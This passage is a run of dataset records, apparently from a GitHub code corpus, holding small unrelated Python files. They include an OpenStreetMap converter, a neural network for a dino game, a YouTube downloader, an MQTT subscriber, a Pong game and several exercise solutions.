[ \"version\", \"changeset\", \"timestamp\", \"user\", \"uid\"]\n\ndef shape_element(element):\n node = {}\n\n #- you should process only 2 types of top level tags: \"node\" and \"way\" \n if element.tag == \"node\" or element.tag == \"way\" :\n\n #I have not used type as my key as there are\n #tags with key = type which will accidentally\n #overwrite\n node['etype'] = element.tag\n \n #\n #process top level element attributes \n #\n created = {}\n\n lat = None\n lon = None\n \n for k,v in element.attrib.iteritems():\n\n #- attributes in the CREATED array should be added under a key \"created\" \n if k in CREATED:\n \n # need to do somthing special for timestamp, else it will\n # be imported by mongoimport as a string\n if k == 'timestamp':\n v = {\"$date\" : v}\n \n created[k] = v \n #- attributes for latitude and longitude should be added to a \"pos\" array, \n elif k == 'lat':\n lat = float(v)\n elif k == 'lon':\n lon = float(v)\n else:\n #- if second level tag \"k\" value does not start with \"addr:\", but contains \":\", you can process it \n #if k.find(':') != -1\n node[k] = v \n \n if lat and lon:\n node['pos'] = [lat,lon]\n \n if created:\n node['created'] = created\n \n # \n #process each child element\n #\n address = {}\n node_refs = []\n \n for child in element:\n #process each child elements attributes\n if child.tag == 'tag':\n k = child.attrib['k']\n v = child.attrib['v'] \n \n #- if second level tag \"k\" value starts with \"addr:\", it should be added to a dictionary \"address\" \n if k.startswith('addr'):\n splits = k.split(':')\n \n #- if second level tag \"k\" value contains problematic characters, it should be ignored\n if problemchars.search(k) == None:\n #- if there is a second \":\" that separates the type/direction of a street,\n if len(splits) == 2:\n address[splits[1]] = v\n else:\n node[k] = v\n\n elif child.tag == 'nd':\n \"\"\"\n - for \"way\" specifically:\n\n \n \n\n should be turned into\n \"node_refs\": [\"305896090\", \"1719825889\"]\n \"\"\" \n node_refs.append(child.attrib['ref'])\n \n \n if len(address) > 0:\n node['address'] = address\n \n if len(node_refs) > 0:\n node['node_refs'] = node_refs \n \n #pprint.pprint(node)\n \n return node\n else:\n return None\n\n\n\n\ndef process_map(file_in, pretty = False):\n \n file_out = \"{0}.first.json\".format(file_in)\n \n with codecs.open(file_out, \"w\") as fo:\n \n context = ET.iterparse(file_in, events=(\"start\", \"end\"))\n\n context = iter(context)\n \n event,root = context.next()\n \n \n for event,elem in context:\n\n if event == \"end\":\n el = shape_element(elem)\n if el:\n #data.append(el)\n if pretty:\n fo.write(json.dumps(el, indent=2)+\"\\n\")\n else:\n fo.write(json.dumps(el) + \"\\n\")\n #fo.write(json.dumps(el))\n\n elem.clear() \n\n \n \nif __name__ == \"__main__\":\n #data = process_map('../data/cardiff-newport-bristol-bath_england.osm', True)\n #data = process_map('../../part5/example.osm', True)\n process_map('../data/cardiff-newport-bristol-bath_england.osm', False)\n","repo_name":"studyrah/p2-datawrangling","sub_path":"ud032/Lesson_6_OSM/project/src/json_convert_first.py","file_name":"json_convert_first.py","file_ext":"py","file_size_in_byte":4672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31344316452","text":"# This script converts Dung's data format to\n# the correct format for training and inference\n# code summarization model, including summarizing\n# at function-level and parameter-level\n\nimport sys\nimport os\nimport argparse\nimport json\nfrom tqdm import tqdm\nfrom utils import load_js, check_len, create_data_sample, write_samples\n\ndef query_param_docstring(param_docstring):\n if isinstance(param_docstring, dict):\n return param_docstring.get(\"docstring\", None)\n elif isinstance(param_docstring, str):\n return param_docstring.strip()\n if param_docstring is None or param_docstring in [\"\", \"None\", \"return None\", \"returns None\"]:\n return None\n\ndef process_datapoint(args, line, idx, write_stream):\n count_none = 0\n summaries = []\n js = load_js(line, idx)\n if js is None:\n return 0\n docstring_params = js.pop(\"docstring_params\", dict())\n\n js_main = create_data_sample(js, \"function\", args.language, prompt_language=args.prompt_language)\n if check_len(args, js_main[\"docstring_tokens\"]):\n summaries.append(js_main)\n for param_name, param_docstring in docstring_params.items():\n if param_name in [\"other_param\"]:\n continue\n param_docstring = query_param_docstring(param_docstring)\n if param_docstring is None:\n count_none += 1\n continue\n\n param_docstring = param_docstring.split(\"\\n\", maxsplit=1)[0]\n if check_len(args, param_docstring):\n if param_name.lower() in [\"return\", \"returns\"]:\n param_name = param_name.replace(\"s\",\"\").strip()\n js_param = create_data_sample(js, \n \"return\", \n args.language, \n docs=param_docstring, \n prompt_language=args.prompt_language,\n prefix_target_sequence=args.prefix_target,\n )\n else:\n js_param = create_data_sample(js, \n \"param\", \n args.language, \n docs=param_docstring, \n param_name=param_name, \n prompt_language=args.prompt_language,\n prefix_target_sequence=args.prefix_target,\n )\n summaries.append(js_param)\n write_samples(write_stream, summaries)\n return count_none\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--language\", type=str, choices=[\"python\", \"java\", \"javascript\", \"ruby\", \"php\", \"go\"], required=True)\n parser.add_argument(\"--filepath\", type=str, required=True)\n parser.add_argument(\"--prompt_language\", action=\"store_true\")\n parser.add_argument(\"--file_indexing\", type=int, default=2)\n parser.add_argument(\"--target_dir\", type=str, default=None)\n parser.add_argument(\"--target_filename\", type=str, default=None)\n parser.add_argument(\"--min_length\", type=int, default=3)\n parser.add_argument(\"--prefix_target\", action=\"store_true\")\n\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n\n filename, ext = os.path.splitext(args.filepath)\n source_dir, filename = os.path.split(filename)\n\n if args.target_dir is not None:\n os.makedirs(args.target_dir, exist_ok=True)\n target_dir = args.target_dir\n else:\n target_dir = source_dir\n\n target_filename = args.target_filename if args.target_filename is not None else \"{}{}\".format(filename, args.file_indexing)\n\n with open(args.filepath, encoding=\"utf-8\") as f, open(\"{}/{}{}\".format(target_dir, target_filename, ext), \"w\", encoding=\"utf-8\") as f1:\n count_none = 0\n for idx, line in tqdm(enumerate(f), total=100000):\n count_none += process_datapoint(args, line, idx, f1)\n print(\"count_none\", count_none)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bdqnghi/CodeT5-multi-gpus","sub_path":"pre_process/convert_data_format.py","file_name":"convert_data_format.py","file_ext":"py","file_size_in_byte":4175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36904947264","text":"import warnings\nimport sklearn\nimport numpy as np\n\nclass NeuralNetwork():\n\n def __init__(self, learningRate=0, dimensions=[0,0,0]): \n self.dimensions = dimensions\n self.learningRate = learningRate\n\n self.secondLayerNeurons = np.empty(dimensions[1])\n self.outputNeurons = np.empty(dimensions[2])\n\n self.w1 = np.random.rand(dimensions[1], dimensions[0]) * 2 - 1\n self.w2 = np.random.rand(dimensions[2], dimensions[1]) * 2 - 1\n self.b1 = np.zeros([dimensions[1]])\n self.b2 = np.zeros([dimensions[2]])\n\n self.dw1 = np.zeros([dimensions[1], dimensions[0]])\n self.dw2 = np.zeros([dimensions[2], dimensions[1]])\n self.db1 = np.zeros([dimensions[1]])\n self.db2 = np.zeros([dimensions[2]])\n\n self.hiddenLayerErrors = np.empty(dimensions[1])\n self.outputLayerErrors = np.empty(dimensions[2])\n\n def getDist(self, obstacles, SCREEN_WIDTH):\n return (obstacles[0].getX()-180)/SCREEN_WIDTH\n \n def getHeight(self, y_pos_bg, obstacles):\n return int((y_pos_bg-obstacles[0].getY())/100>0.7)\n \n # see if training example is already in the training set\n def check_state(self, state, training_inputs):\n for input in training_inputs:\n if np.array_equal(state, input):\n return True\n return False\n\n def sigmoid(self, x):\n warnings.filterwarnings(\"ignore\")\n return 1/(1+np.exp(-x))\n\n def sigmoidDerivative(self, x):\n return np.multiply(x,(1-x))\n\n def softmax(self, x):\n exps = np.exp(x - np.max(x))\n return exps / np.sum(exps)\n\n def forwardProp(self, inputs):\n self.secondLayerNeurons = self.sigmoid(self.w1 @ inputs + self.b1)\n self.outputNeurons = self.softmax(self.w2 @ self.secondLayerNeurons + self.b2)\n\n def backProp(self, inputs, correct_output):\n self.outputLayerErrors = np.subtract(self.outputNeurons, correct_output)\n self.hiddenLayerErrors = np.multiply(np.dot(self.w2.T, self.outputLayerErrors), self.sigmoidDerivative(self.secondLayerNeurons))\n\n self.db2 += self.outputLayerErrors\n self.dw2 += np.dot(self.outputLayerErrors.reshape(self.dimensions[2],1), self.secondLayerNeurons.reshape(1,self.dimensions[1]))\n \n self.db1 += self.hiddenLayerErrors\n self.dw1 += np.dot(self.hiddenLayerErrors.reshape(self.dimensions[1],1), inputs.reshape(1,self.dimensions[0]))\n\n def change(self):\n self.b2 -= self.learningRate * self.db2\n self.w2 -= self.learningRate * self.dw2\n self.b1 -= self.learningRate * self.db1\n self.w1 -= self.learningRate * self.dw1\n\n self.dw1 = np.zeros([self.dimensions[1], self.dimensions[0]])\n self.dw2 = np.zeros([self.dimensions[2], self.dimensions[1]])\n self.db1 = np.zeros(self.dimensions[1])\n self.db2 = np.zeros(self.dimensions[2])\n\n def train(self, inputs, outputs, epochs=5):\n accuracy = 0\n err_sum = 0.0\n avg_err = 0.0\n correct = 0\n size = len(inputs)\n inputs, outputs = sklearn.utils.shuffle(inputs, outputs)\n \n for i in range(3,0,-1):\n if size%i==0:\n bs=i\n break\n \n for _ in range (epochs):\n for j in range(int(size/bs)):\n for m in range(bs):\n correct_output = outputs[j*bs+m]\n self.forwardProp(inputs[j*bs+m])\n self.backProp(inputs[j*bs+m], correct_output)\n \n if np.argmax(self.outputNeurons) == np.argmax(correct_output):\n correct+=1\n\n error = np.amax(np.absolute(self.outputLayerErrors))\n err_sum += error\n \n self.change()\n \n avg_err = err_sum / (epochs*size)\n accuracy = str(int((correct/(epochs*size))*100)) + '%' \n print (\"Accuracy: \" + accuracy + \" - Loss: \" + str(round(avg_err, 10)))\n\n def predict(self, inputs):\n self.forwardProp(inputs)\n # if self.outputNeurons[0] > self.outputNeurons[1]:\n # print(\"jump\")\n return np.argmax(self.outputNeurons)","repo_name":"JoeyLee-22/DinoGameAI","sub_path":"neuralNetwork.py","file_name":"neuralNetwork.py","file_ext":"py","file_size_in_byte":4214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"14830097015","text":"\ndef ndigits(number):\n \"\"\"\n Takes an integer as input\n Returns the number of digits in number\n \"\"\"\n if number > 0:\n Snum = str(number)\n return len(Snum)\n else:\n snum = str(number)\n snumNig = snum[1:]\n return len(snumNig)\n \n\n","repo_name":"Zahrou/EDX","sub_path":"ndigits.py","file_name":"ndigits.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8254443124","text":"#!/usr/bin/env python3\nimport grp\nimport os\nimport pwd\nimport re\nimport sys\n\ndef remove_empty_lines(lines, expected_label):\n while lines and not lines[0].strip():\n lines = lines[1:]\n\n if not lines:\n raise Exception(f'Expected \"{expected_label}\" (no more lines)')\n\n return lines\n\ndef parse_comment(lines, expected_label):\n lines = remove_empty_lines(lines, expected_label)\n line = lines[0].strip()\n values = re.findall(f'^#\\\\s*{expected_label}:\\\\s*([^\\n]+)$', line)\n\n if not values:\n raise Exception(f'Expected comment \"{expected_label}\" (got \"{line}\")')\n\n return (lines[1:], values[0])\n\ndef parse_permission(lines, expected_label):\n lines = remove_empty_lines(lines, expected_label)\n line = lines[0].strip()\n\n values = re.findall(f'^{expected_label}:([^:]*):([r-])([w-])([x-])$', line)\n if not values or values[0][0]:\n raise Exception(f'Expected permission with basic perms \"{expected_label}\" (got \"{line}\")')\n\n value = 0\n if values[0][1] == 'r':\n value += 4\n if values[0][2] == 'w':\n value += 2\n if values[0][3] == 'x':\n value += 1\n\n return (lines[1:], value)\n\ndef main():\n with open(sys.argv[1], 'r', encoding='utf8') as facl_fd:\n lines = facl_fd.read().strip().split('\\n')\n\n while lines:\n lines, fpath = parse_comment(lines, 'file')\n lines, user = parse_comment(lines, 'owner')\n lines, group = parse_comment(lines, 'group')\n lines, perm_user = parse_permission(lines, 'user')\n lines, perm_group = parse_permission(lines, 'group')\n lines, perm_other = parse_permission(lines, 'other')\n\n if not os.path.exists(fpath):\n print(f'Skipping \"{fpath}\" because it does not exist')\n continue\n\n os.chown(fpath, pwd.getpwnam(user).pw_uid, grp.getgrnam(group).gr_gid)\n os.chmod(fpath, perm_user * 0o100 + perm_group * 0o010 + perm_other * 0o001)\n\nif __name__ == '__main__':\n main()\n","repo_name":"mrmoss/pyfacl","sub_path":"facl_restore.py","file_name":"facl_restore.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8575378956","text":"from pytube import YouTube\n\nlink=input('Youtube Link: ')\n\ndef on_complete(stream, filepath):\n\tprint(\"Download Complete\")\n\tprint(\"File stored in\"+filepath)\ndef on_progress(stream, chunk, bytes_remaining):\n\tprogress_string=f'{round(100-bytes_remaining/stream.filesize*100 ,2)}%'\n\tprint(progress_string)\n\nvideo_object=YouTube(link,on_complete_callback=on_complete,on_progress_callback=on_progress)\n\nprint(f'title: {video_object.title}')\nprint(f'length: {round((video_object.length)/60)} minutes')\nprint(f'views: {round((video_object.views)/1000000,2)} millions')\nprint(f'author: {video_object.author}')\n\nprint('download: (b)est | (w)orst| (a)udio | (e)xit')\ndownload_choice=input('choice: ')\n\nif download_choice=='b':\n\tvideo_object.streams.get_highest_resolution().download(r'D:\\downloads')\nelif download_choice=='w':\n\tvideo_object.streams.get_lowest_resolution().download(r'D:\\downloads')\nelif download_choice==\"a\":\n\tvideo_object.streams.get_audio_only().download(r'D:\\downloads')","repo_name":"devi5040/fun_projects","sub_path":"youtubedownloader.py","file_name":"youtubedownloader.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72331115608","text":"from fastapi import APIRouter\nimport numpy as nump\n\nrouter = APIRouter()\n\n\n@router.get('')\ndef matrix() -> dict:\n matrix1 = nump.random.rand(10, 10)\n matrix2 = nump.random.rand(10, 10)\n mulMatrix = nump.matmul(matrix1, matrix2)\n return {'msg': \n\t{ \n\t'matrix_a': str(matrix1).replace('\\n', ','), \n\t'matrix_b': str(matrix2).replace('\\n', ','), \n\t'product': str(mulMatrix).replace('\\n', ',') \n\t}}","repo_name":"gapiyka/MandT-of-soft-dev","sub_path":"lab3/lab-03-python/spaceship/routers/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13479859586","text":"import paho.mqtt.client as mqtt\r\nimport time\r\n#Connack: MQTT Connect Acknowledgment Packet\r\ndef on_connect(client,userdata,flags,rc):\r\n print(\"Connected with the result code \"+str(rc))\r\n #client.subscribe([(\"esp8266/weatherS\",0),(\"esp8266/temperature\",0),(\"esp8266/humidity\",0),(\"esp8266/pressure\",0),(\"esp8266/gas\",0),(\"esp8266/altitude\",0)])\r\n client.subscribe(\"esp8266/#\")\r\n#def on_message(client,userdata,msg):\r\n# print(msg.topic+\"\"+str(msg.payload))\r\n\r\ndef weatherSCallback(client,userdata,msg):\r\n global weatherSBuffer\r\n weatherSBuffer=msg.payload.decode(\"utf-8\")\r\n #print(weatherSBuffer)\r\n \r\ndef humidityCallback(client,userdata,msg):\r\n global humidityBuffer\r\n humidityBuffer=msg.payload.decode(\"utf-8\")\r\n\r\ndef pressureCallback(client,userdata,msg):\r\n global pressureBuffer\r\n pressureBuffer=msg.payload.decode(\"utf-8\")\r\n\r\ndef gasCallback(client,userdata,msg):\r\n global gasBuffer\r\n gasBuffer=msg.payload.decode(\"utf-8\")\r\n\r\ndef altitudeCallback(client,userdata,msg):\r\n global altitudeBuffer\r\n altitudeBuffer=msg.payload.decode(\"utf-8\")\r\n\r\ndef temperatureCallback(client,userdata,msg):\r\n global temperatureBuffer\r\n temperatureBuffer=msg.payload.decode(\"utf-8\")\r\n\r\nbroker_address=\"cpsiot.cs.uni-kl.de\"\r\nclient=mqtt.Client()\r\n#\r\n\r\nclient.message_callback_add(\"esp8266/weatherS\",weatherSCallback)\r\nclient.message_callback_add(\"esp8266/pressure\",pressureCallback)\r\nclient.message_callback_add(\"esp8266/humidity\",humidityCallback)\r\nclient.message_callback_add(\"esp8266/gas\",gasCallback)\r\nclient.message_callback_add(\"esp8266/altitude\",altitudeCallback)\r\nclient.message_callback_add(\"esp8266/temperature\",temperatureCallback)\r\nclient.connect(broker_address,1883,60) \r\n\r\nclient.loop_start()\r\n#client.on_message=on_message\r\n#client.message_callback_add(\"esp8266/temperature\",temperature)\r\n#client.message_callback_add(\"esp8266/humidity\",humidity)\r\n#client.on_connect=on_connect\r\nclient.subscribe(\"esp8266/#\")\r\ntime.sleep(4)\r\n#client.loop_stop()\r\n#client.loop_forever()\r\n#print(weatherSBuffer)\r\n#print(pressureBuffer)\r\n#print(humidityBuffer)","repo_name":"Smerfelebele/vicweatherS","sub_path":"mqttConnection.py","file_name":"mqttConnection.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73845791768","text":"class Tree:\r\n def __init__(self, value):\r\n self.value = value\r\n self.children = []\r\n \r\n def add_child(self, child_node):\r\n self.children.append(child_node)\r\n \r\n def remove_child(self, child_node):\r\n self.children = [child for child in self.children if child != child_node]\r\n\r\nclass MaxHeap:\r\n def __init__(self):\r\n self.heap_list = [None]\r\n self.count = 0\r\n \r\n def parent_idx(self, idx):\r\n return idx // 2\r\n \r\n def left_child_idx(self, idx):\r\n return idx * 2\r\n \r\n def right_child_idx(self, idx):\r\n return idx * 2 + 1\r\n \r\n def child_present(self, idx):\r\n return self.left_child_idx(idx) <= self.count\r\n \r\n def add(self, element):\r\n self.heap_list.append(element)\r\n self.count += 1\r\n self.heapify_up()\r\n \r\n def retrieve_max(self):\r\n if self.count == 0:\r\n return None\r\n max_value = self.heap_list[1]\r\n self.heap_list[1] = Tree(\".\")\r\n self.count -= 1\r\n self.heap_list.pop(1)\r\n self.heapify_down()\r\n return max_value\r\n \r\n def get_larger_child_idx(self, idx):\r\n if self.right_child_idx(idx) > self.count:\r\n return self.left_child_idx(idx)\r\n else:\r\n left_child = self.heap_list[self.left_child_idx(idx)]\r\n right_child = self.heap_list[self.right_child_idx(idx)]\r\n if left_child.value[0] != right_child.value[0]:\r\n if ord(left_child.value[0]) > ord(right_child.value[0]):\r\n return self.left_child_idx(idx)\r\n else:\r\n return self.right_child_idx(idx)\r\n else:\r\n if ord(left_child.value[1]) > ord(right_child.value[1]):\r\n return self.left_child_idx(idx)\r\n else:\r\n return self.right_child_idx(idx)\r\n \r\n def heapify_down(self):\r\n idx = 1\r\n while self.child_present(idx):\r\n larger_child_idx = self.get_larger_child_idx(idx)\r\n child = self.heap_list[larger_child_idx]\r\n parent = self.heap_list[idx]\r\n if ord(parent.value[0]) < ord(child.value[0]):\r\n self.heap_list[idx] = child\r\n self.heap_list[larger_child_idx] = parent\r\n idx = larger_child_idx\r\n \r\n def heapify_up(self):\r\n idx = self.count\r\n while self.parent_idx(idx) > 0:\r\n child = self.heap_list[idx]\r\n parent = self.heap_list[self.parent_idx(idx)]\r\n if ord(parent.value[0]) < ord(child.value[0]):\r\n self.heap_list[idx] = parent\r\n self.heap_list[self.parent_idx(idx)] = child\r\n idx = self.parent_idx(idx)\r\n\r\n\r\n\r\n\r\n ","repo_name":"PiePirates/FindFood","sub_path":"Tree.py","file_name":"Tree.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5338095768","text":"#!/usr/bin/env python3\n\nimport sys\n\nlines = [int(x) for x in sys.stdin.readlines()]\nans = 0\nfor i in range(1, len(lines)):\n if lines[i] > lines[i-1]:\n ans += 1\nsys.stdout.write(f'{ans}\\n')\n\nans2 = 0\nn = 3\nfor i in range(n+1, len(lines)+1):\n if sum(lines[i-n:i]) > sum(lines[i-1-n:i-1]):\n ans2 += 1\nsys.stdout.write(f'{ans2}\\n')","repo_name":"rgrig/aoc-2021","sub_path":"py/p01.py","file_name":"p01.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4740036309","text":"import os\r\nimport pygame as pg\r\nfrom numpy.random import randint\r\nfrom numpy import sin,cos,pi,sqrt,abs\r\n\r\ngoles_jugador = 0\r\ngoles_rival = 0\r\ngol = False\r\n\r\nclass Oponente(pg.sprite.Sprite):\r\n\t\r\n\tdef __init__(self):\r\n\t\tpg.sprite.Sprite.__init__(self)\r\n\t\tself.image = pg.Surface([10,100])\r\n\t\tself.image.fill((255,255,255))\r\n\t\tself.rect = self.image.get_rect()\r\n\t\tself.rect.topleft = 40, 200\r\n\t\tself.vel = 0\r\n\t\r\n\tdef update(self):\r\n\t\ta = self.rect.topleft[1]\r\n\t\tb = self.vel\r\n\t\t\r\n\t\tif a+b>10 and a+b<390:\r\n\t\t\tself.rect = self.rect.move((0,self.vel))\r\n\r\nclass Jugador(pg.sprite.Sprite):\r\n\t\r\n\tdef __init__(self):\r\n\t\tpg.sprite.Sprite.__init__(self)\r\n\t\tself.image = pg.Surface([10,100])\r\n\t\tself.image.fill((255,255,255))\r\n\t\tself.rect = self.image.get_rect()\r\n\t\tself.rect.topleft = 750, 200\r\n\t\tself.vel = 0\r\n\t\t\r\n\tdef update(self):\r\n\t\ta = self.rect.topleft[1]\r\n\t\tb = self.vel\r\n\t\t\r\n\t\tif a+b>10 and a+b<390:\r\n\t\t\tself.rect = self.rect.move((0,self.vel))\r\n\r\nclass Pelota(pg.sprite.Sprite):\r\n\t\r\n\tdef __init__(self):\r\n\t\tpg.sprite.Sprite.__init__(self)\r\n\t\tself.image = pg.Surface([10,10])\r\n\t\tself.image.fill((255,255,255))\r\n\t\tself.rect = self.image.get_rect()\r\n\t\tself.rect.topleft = 395, 245\r\n\t\tself.vel = 8\r\n\t\tself.dire = randint(-50,51)+randint(2)*180\r\n\t\tself.velx = self.vel*cos(self.dire*2*pi/360)\r\n\t\tself.vely = self.vel*sin(self.dire*2*pi/360)\r\n\t\tself.derecha = False\r\n\t\tself.izquierda = False\r\n\t\r\n\tdef update(self):\r\n\t\tglobal goles_jugador, goles_rival, gol\r\n\t\tif self.rect.topleft[1]+self.vely>480 or self.rect.topleft[1]+self.vely<10: self.vely=-self.vely\r\n\t\telif self.rect.topleft[0]<0:\r\n\t\t\tgoles_jugador+=1\r\n\t\t\tgol = True\r\n\t\t\tself.dire = randint(-50,51)+randint(2)*180\r\n\t\t\tself.velx = self.vel*cos(self.dire*2*pi/360)\r\n\t\t\tself.vely = self.vel*sin(self.dire*2*pi/360)\r\n\t\t\tself.rect.topleft = 395, 245\r\n\t\telif self.rect.topleft[0]>800:\r\n\t\t\tgoles_rival+=1\r\n\t\t\tgol = True\r\n\t\t\tself.dire = randint(-50,51)+randint(2)*180\r\n\t\t\tself.velx = self.vel*cos(self.dire*2*pi/360)\r\n\t\t\tself.vely = self.vel*sin(self.dire*2*pi/360)\r\n\t\t\tself.rect.topleft = 395, 245\r\n\t\tif self.derecha:\r\n\t\t\tself.velx = -abs(self.velx)\r\n\t\t\tself.derecha = False\r\n\t\telif self.izquierda:\r\n\t\t\tself.velx = abs(self.velx)\r\n\t\t\tself.izquierda = False\r\n\t\tself.rect = self.rect.move((self.velx,self.vely))\r\n\t\r\n\tdef golpear(self,c):\r\n\t\tself.derecha = True\r\n\t\tax,ay = self.velx,self.vely\r\n\t\tby=ay+c\r\n\t\tb = sqrt(ax**2+by**2)\r\n\t\tself.vely = self.vel*by/b\r\n\t\tself.velx = self.vel*ax/b\r\n\t\t\r\n\r\ndef main():\r\n\t\r\n\tglobal gol, goles_jugador, goles_rival\r\n\t\r\n\tpg.init()\r\n\tscreen = pg.display.set_mode((800,500),pg.SCALED)\r\n\tpg.mouse.set_visible(False)\r\n\tpg.display.set_caption(\"Pong\")\r\n\t\r\n\tbackground = pg.Surface(screen.get_size())\r\n\tbackground = background.convert()\r\n\tbackground.fill((0,102,255))\r\n\tborde = pg.Surface((800,10))\r\n\tborde.fill((255,255,255))\r\n\tbackground.blit(borde,(0,0))\r\n\tbackground.blit(borde,(0,490))\r\n\t\r\n\tfont = pg.font.Font(None, 64)\r\n\ttext = font.render(\"0 : 0\", True, (255, 255, 255))\r\n\ttextpos = text.get_rect(centerx=background.get_width() / 2, y=30)\r\n\tbackground.blit(text, textpos)\r\n\t\r\n\t\r\n\tscreen.blit(background, (0,0))\r\n\tpg.display.flip()\r\n\t\r\n\tplayer = Jugador()\r\n\tenemy = Oponente()\r\n\tball = Pelota()\r\n\tallsprites = pg.sprite.RenderPlain((player,enemy,ball))\r\n\t\r\n\tclock = pg.time.Clock()\r\n\tgoing = True\r\n\twhile going:\r\n\t\tclock.tick(60)\r\n\t\t\r\n\t\t\r\n\t\tfor event in pg.event.get():\r\n\t\t\tif event.type == pg.QUIT: going = False\r\n\t\t\tif event.type == pg.KEYDOWN and event.key == pg.K_w: player.vel=-5\r\n\t\t\telif event.type == pg.KEYDOWN and event.key == pg.K_s: player.vel=5\r\n\t\t\tif event.type == pg.KEYUP and event.key == pg.K_w and player.vel!=5: player.vel=0\r\n\t\t\telif event.type == pg.KEYUP and event.key == pg.K_s and player.vel!=-5: player.vel=0\r\n\t\t\r\n\t\tif ball.rect.colliderect(player.rect): ball.golpear(player.vel)\r\n\t\telif ball.rect.colliderect(enemy.rect): ball.izquierda = True\r\n\t\t\r\n\t\tif ball.rect.topleft[1]enemy.rect.topleft[1]: enemy.vel=5\r\n\t\telse: enemy.vel=0\r\n\t\t\r\n\t\tif gol:\r\n\t\t\tgol = False\r\n\t\t\tbackground.fill((0,102,255))\r\n\t\t\tbackground.blit(borde,(0,0))\r\n\t\t\tbackground.blit(borde,(0,490))\r\n\t\t\ttext = font.render(str(goles_rival)+\" : \"+str(goles_jugador), True, (255, 255, 255))\r\n\t\t\ttextpos = text.get_rect(centerx=background.get_width() / 2, y=30)\r\n\t\t\tbackground.blit(text, textpos)\r\n\t\t\r\n\t\tallsprites.update()\r\n\t\tscreen.blit(background, (0,0))\r\n\t\tallsprites.draw(screen)\r\n\t\tpg.display.flip()\r\n\t\r\n\tpg.quit()\r\n\r\nif __name__==\"__main__\": main()","repo_name":"RaulCorrero/tetris","sub_path":"pong.py","file_name":"pong.py","file_ext":"py","file_size_in_byte":4484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24732761908","text":"import re\ndef sorted_1( l ): \n convert = lambda text: int(text) if text.isdigit() else text \n alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ] \n return sorted(l, key = alphanum_key)\nn = int(input())\n\nfor i in range(n):\n m_count = {}\n x = int(input())\n\n for j in range(x):\n event = input().split(',')\n team_name = ','.join(event[1:-3])\n if event[3] not in m_count:\n m_count[event[3]] = [0, 0]\n if event[2].title() == \"Day\" and event[-1].lower() == \"true\":\n m_count[event[3]][0] += 1\n elif event[2].title() == \"Night\" and event[-1].lower() == \"true\":\n m_count[event[3]][1] += 1\n counts = [str(i) for i in m_count.keys()]\n for k in sorted_1(counts):\n if m_count[k][0] == 0 and m_count[k][1] == 0:\n continue\n else:\n ans = \"\"\n ans+=k+\",\"\n ans+=str(m_count[k][0])+\",\"+str(m_count[k][1])\n print(ans)","repo_name":"MrTesla-Python/Code-Quest-Academy","sub_path":"Solved/Medium/past_is_prologue.py","file_name":"past_is_prologue.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69810641370","text":"from flask.cli import AppGroup\nfrom .users import seed_users, undo_users\nfrom .watchlist import seed_watchlists, undo_watchlists\nfrom .stocks import seed_stocks, undo_stocks\nfrom .watchlist_stocks import seed_watchlist_stocks, undo_watchlist_stocks\nfrom .portfolios import seed_portfolios, undo_porfolios\nfrom .portfolio_histories import seed_portfolio_histories, undo_portfolio_histories\n\nfrom app.models.db import db, environment, SCHEMA\n\n# Creates a seed group to hold our commands\n# So we can type `flask seed --help`\nseed_commands = AppGroup('seed')\n\n\n# Creates the `flask seed all` command\n@seed_commands.command('all')\ndef seed():\n if environment == 'production':\n # Before seeding in production, you want to run the seed undo\n # command, which will truncate all tables prefixed with\n # the schema name (see comment in users.py undo_users function).\n # Make sure to add all your other model's undo functions below\n undo_porfolios()\n undo_users()\n undo_watchlist_stocks()\n undo_watchlists()\n undo_stocks()\n undo_portfolio_histories()\n seed_users()\n seed_portfolios()\n seed_watchlists()\n seed_stocks()\n seed_watchlist_stocks()\n seed_portfolio_histories()\n # Add other seed functions here\n\n\n# Creates the `flask seed undo` command\n@seed_commands.command('undo')\ndef undo():\n undo_porfolios()\n undo_users()\n undo_watchlist_stocks()\n undo_watchlists()\n undo_stocks()\n undo_portfolio_histories()\n","repo_name":"adambazzi/Robinhood-Clone","sub_path":"app/seeds/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34755540426","text":"import casefoam\n\n# directory of the base case\nbaseCase = 'tiltedBox'\n\n# list of parent, child and grandchild names\ncaseStructure = [['hex'],\n ['Grid1','Grid2','Grid3']]\n\n\nupdate_hex = dict() #{'system/blockMeshDict': {}} # do nothing\n\n# this function does the same as update_coarse etc but is more elegant\ndef changeBlockMesh(Nx):\n return {\n 'system/blockMeshDict': {\n 'blocks': ['hex',\n [0, 1, 2, 3, 4, 5, 6, 7],\n '(%s 1 %s)' % (Nx, Nx),\n 'simpleGrading',\n '(1 1 1)']}}\n\n\n# dictionary of data to update\ncaseData = 